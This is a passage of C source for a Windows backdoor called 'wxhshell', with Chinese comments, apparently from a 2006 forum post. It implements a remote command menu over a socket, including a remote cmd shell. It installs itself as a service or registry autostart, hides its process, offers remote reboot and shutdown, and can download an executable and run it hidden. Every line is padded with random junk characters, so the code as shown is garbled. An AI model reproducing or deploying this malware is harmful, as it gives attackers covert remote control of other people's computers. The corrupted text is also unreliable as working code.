    switch(cmd[0]) { Po+I!TL'  
  #<_gY  
  // 帮助 sK1YmB :~a  
  case '?': { 5Q_ T=TL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QGv$~A[h  
    break; D,cGW,2Nv  
  } Kob i!  
  // 安装 Af *e:}}  
  case 'i': { rByC6HV"  
    if(Install()) -e#~CE-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hN0Y8Ia/5%  
    else w5j6RQml  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *g0}pD;r  
    break; %V40I{1  
    } g&z)y  
  // 卸载 SVr3OyzI  
  case 'r': { vTrjhTa\  
    if(Uninstall()) k7o49Y(#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =m<; Jx5  
    else =+I~K'2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \*>r[6]*&5  
    break; ~3]ZN'b\  
    } 93Z/|7  
  // 显示 wxhshell 所在路径 bCv=Uo,+6  
  case 'p': { a/})X[2  
    char svExeFile[MAX_PATH]; *,C[yg1P  
    strcpy(svExeFile,"\n\r"); P'EPP*)q  
      strcat(svExeFile,ExeFile); n^} -k'l  
        send(wsh,svExeFile,strlen(svExeFile),0); fY)Dx c&ue  
    break; <n8K"(sy}  
    } w$ zX.;s  
  // 重启 \0}!qG![AA  
  case 'b': { YIP /N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^]x%z*6  
    if(Boot(REBOOT)) <Mdyz!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j@yK#==k  
    else { +>zjTP7\e"  
    closesocket(wsh); Dt1v`T~=?  
    ExitThread(0); nC-=CMWWr  
    } k,) xv?  
    break; zWN/>~}U \  
    } tyEa5sy4  
  // 关机 (s:ihpI  
  case 'd': { cr}T ? $\K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v|\<N!g  
    if(Boot(SHUTDOWN)) yH\3*#+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'VgdQp$L$  
    else { M @|n"(P  
    closesocket(wsh); IJWUNKqo=  
    ExitThread(0); H2f!c{t$p  
    } = [N= mC  
    break; x,CTB  
    } 79DzrLu  
  // 获取shell S5Hb9m&&  
  case 's': { =r w60B  
    CmdShell(wsh); E_fH,YJ?9  
    closesocket(wsh); |E%i t?3M  
    ExitThread(0); ~0;l\^  
    break; Yf=an`"  
  } 4trP*u,4  
  // 退出 {6_M$"e.  
  case 'x': { 8R3x74fL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pUGFQ."\  
    CloseIt(wsh); O\3 L x  
    break; |4$.mb.  
    } 8OS@gpz  
  // 离开 )[t zAaP7  
  case 'q': { lpjeEaw o4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ri<7!Y?l  
    closesocket(wsh); r JvtE}x1  
    WSACleanup(); OouIV3  
    exit(1); u[{j;l(  
    break; n@TK}?\UoR  
        } p`dH4y]D  
  } $#ve^.VHv  
  } -Kas9\VWEw  
:4Gc'b R  
  // 提示信息 qjcPJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @r.w+E=  
} n7|8`? R^  
  } p)u?x)w=  
Po)!vL"   
  return; j&(Yk"j+  
} Ipp#{'Do  
P{bRRn4Z  
// shell模块句柄 GiZv0>*x  
int CmdShell(SOCKET sock) Mr0<b?I  
{ <W>T!;4!  
STARTUPINFO si; 8 vp*U  
ZeroMemory(&si,sizeof(si)); |w{}h6 a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2bs={p$}a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3j I rB%  
PROCESS_INFORMATION ProcessInfo; >3C4S  
char cmdline[]="cmd"; y[D8rFw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f:\)oIW9Kk  
  return 0;  46^9O 5J  
} >U~{WM$"Y  
`{Jo>L .  
// 自身启动模式 a-cLy*W,~  
int StartFromService(void) Lhts4D/V7  
{ rIh"MQvi[  
typedef struct g3Xa b  
{ l.@v@T(/  
  DWORD ExitStatus; #`HY"-7m_  
  DWORD PebBaseAddress; 9a6ij*#  
  DWORD AffinityMask; y6hb-: #1  
  DWORD BasePriority; qxQuXF>:#  
  ULONG UniqueProcessId; <Jf[N=  
  ULONG InheritedFromUniqueProcessId; |3bCq(ZR\P  
}   PROCESS_BASIC_INFORMATION; s3/iG37K  
nF)b4`Nd  
PROCNTQSIP NtQueryInformationProcess; f@j)t%mh  
_.{I1*6Y2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >1$ vG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .c5)`  
l%_r3W  
  HANDLE             hProcess; {vhP'!a6W  
  PROCESS_BASIC_INFORMATION pbi; anzt;V.;Y  
#Q]^9/;|4n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NT0im%  
  if(NULL == hInst ) return 0; nOCCOTf  
XkEJ_;:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); joRrsxFU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NQmdEsK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /$U< S"  
SWLt5dV  
  if (!NtQueryInformationProcess) return 0; iW9o-W a  
fvi8+3A&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4lF(..Ix  
  if(!hProcess) return 0; rqi/nW  
FK+`K<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d7]~t|  
Yo*.? Mq'  
  CloseHandle(hProcess); tW -f_0a.  
QFNw2:)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [["az'Lrk?  
if(hProcess==NULL) return 0; IA;'5IF  
c gOkm}h  
HMODULE hMod; \Q!I;  
char procName[255]; ED;rp 9(  
unsigned long cbNeeded; YApm)O={  
69? wZfj'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I^l\<1"]  
9 S4bg7  
  CloseHandle(hProcess); ^2a63_  
2X,`t%o  
if(strstr(procName,"services")) return 1; // 以服务启动 KNG7$icG  
NVX@1}  
  return 0; // 注册表启动 IZs NMY  
} T^DJ/uhd  
):-Ub4A\  
// 主模块 *A ([1l&]i  
int StartWxhshell(LPSTR lpCmdLine) wj2z?0}o  
{ ,<t)aZL,A;  
  SOCKET wsl; '/'dg5bfV  
BOOL val=TRUE; m>9j dsqB  
  int port=0; od-yVE&  
  struct sockaddr_in door; 2r"J"C  
P^57a?[`  
  if(wscfg.ws_autoins) Install(); ' 4.T1i,  
tyU'[LF?  
port=atoi(lpCmdLine); ?p'DgL{  
w(oi6kg  
if(port<=0) port=wscfg.ws_port; })y B2Q0  
U}R (  
  WSADATA data; V0G"Z6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ( u^`3=%n  
+A-z>T(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bV&"jjEx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6qd?&.=r  
  door.sin_family = AF_INET; =mYwO=:D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y=ksrs>w  
  door.sin_port = htons(port); 80%L!x|  
e X{#F gFc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8'* /|)Hn  
closesocket(wsl); WNSY@q  
return 1; gVI{eoJ  
} n09P!],Xa  
eL_Il.:  
  if(listen(wsl,2) == INVALID_SOCKET) { [ 0z-X7=e  
closesocket(wsl); )?;+<,  
return 1; V [Wo9Y\  
} a7}O.NDf  
  Wxhshell(wsl); ;-^8lWt  
  WSACleanup(); ~7>D>!!  
O_ d[{e=5`  
return 0; lw43|_'G-t  
c<ORmg6  
} dwqR,|  
\IP 9EFA  
// 以NT服务方式启动 PY MofQaZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;~GBD]  
{ +-:o+S`q~  
DWORD   status = 0; QTospHf`  
  DWORD   specificError = 0xfffffff; !LJ4 S  
-sxu7I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^Rb*mI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dK41NLGQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /RI"a^&9A  
  serviceStatus.dwWin32ExitCode     = 0; Al+}4{Q+?  
  serviceStatus.dwServiceSpecificExitCode = 0; z#B(1uI  
  serviceStatus.dwCheckPoint       = 0; :[&QoEZW  
  serviceStatus.dwWaitHint       = 0; l?B=5*0  
 joBS{]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E1s~ +  
  if (hServiceStatusHandle==0) return; vP%}XEF  
'Pe;Tp>`  
status = GetLastError(); no(or5UJ  
  if (status!=NO_ERROR) @~bP|a  
{ _9y! ,ST  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k\X yR4r  
    serviceStatus.dwCheckPoint       = 0; 8RT<?I^5  
    serviceStatus.dwWaitHint       = 0; Z~] G+(  
    serviceStatus.dwWin32ExitCode     = status; )|6OPR@(#/  
    serviceStatus.dwServiceSpecificExitCode = specificError; _%u t#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gh `]OxA  
    return; \ #N))gAQ  
  } ^p~QHS/  
"(mF5BE-E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p,BoiYdi  
  serviceStatus.dwCheckPoint       = 0; tYp 185  
  serviceStatus.dwWaitHint       = 0; u\(>a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gkm {b[  
} W~FU!C?]  
*|ef#-|D  
// 处理NT服务事件,比如:启动、停止 1&RB=7.h  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  Vqr]Ui  
{ P4:Zy;$v!  
switch(fdwControl) 0),fY(D2T  
{ DWS#q|j`"  
case SERVICE_CONTROL_STOP: &88c@Ksn  
  serviceStatus.dwWin32ExitCode = 0; 2U3e!V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eV"s5X[$  
  serviceStatus.dwCheckPoint   = 0; (}rBnD  
  serviceStatus.dwWaitHint     = 0; Sd/7#  
  { vxS4YRb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V  n+a-v  
  } ( 7ujJ}#,  
  return; qJE_4/<^!  
case SERVICE_CONTROL_PAUSE: Sx1|Oq]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [ldBI3  
  break; "m`}J*s"  
case SERVICE_CONTROL_CONTINUE: [X7gP4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ??f,(om  
  break; ZiPz~G0[^  
case SERVICE_CONTROL_INTERROGATE: \Vpv78QF;  
  break; dL~^C I  
}; r>gf&/Pl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]c M8TT  
} kt |j]:  
`A#0If  
// 标准应用程序主函数 -2j[;kgt}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ' e %>Ip  
{ ~x^Ra8A  
9&{z?*  
// 获取操作系统版本 Vha,rIi  
OsIsNt=GetOsVer(); sL,|+>7T^M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -EP(/CS!  
0\Tp/Ph  
  // 从命令行安装 bB)$=7\  
  if(strpbrk(lpCmdLine,"iI")) Install(); >7r%k,`  
Zs8]A0$  
  // 下载执行文件 <7! "8e  
if(wscfg.ws_downexe) { ,w f6gmh8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V.ETuS;  
  WinExec(wscfg.ws_filenam,SW_HIDE); R@#xPv4o%  
} eVd:C8q  
G#ELQ/Q  
if(!OsIsNt) { _St ":9'uU  
// 如果时win9x,隐藏进程并且设置为注册表启动 HL-'\wtl  
HideProc(); NLu[<u U*  
StartWxhshell(lpCmdLine); JXHf$k  
} P/xE n_*v  
else BF 0#G2`h>  
  if(StartFromService()) `KZu/r-M9  
  // 以服务方式启动 K'B*D*w  
  StartServiceCtrlDispatcher(DispatchTable); _GM?`  
else  > H&v  
  // 普通方式启动 P 5.@LN  
  StartWxhshell(lpCmdLine);  OO</d:  
xUNq!({T  
return 0; uzT+,  
}
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只看该作者 1 发表于: 2006-10-10
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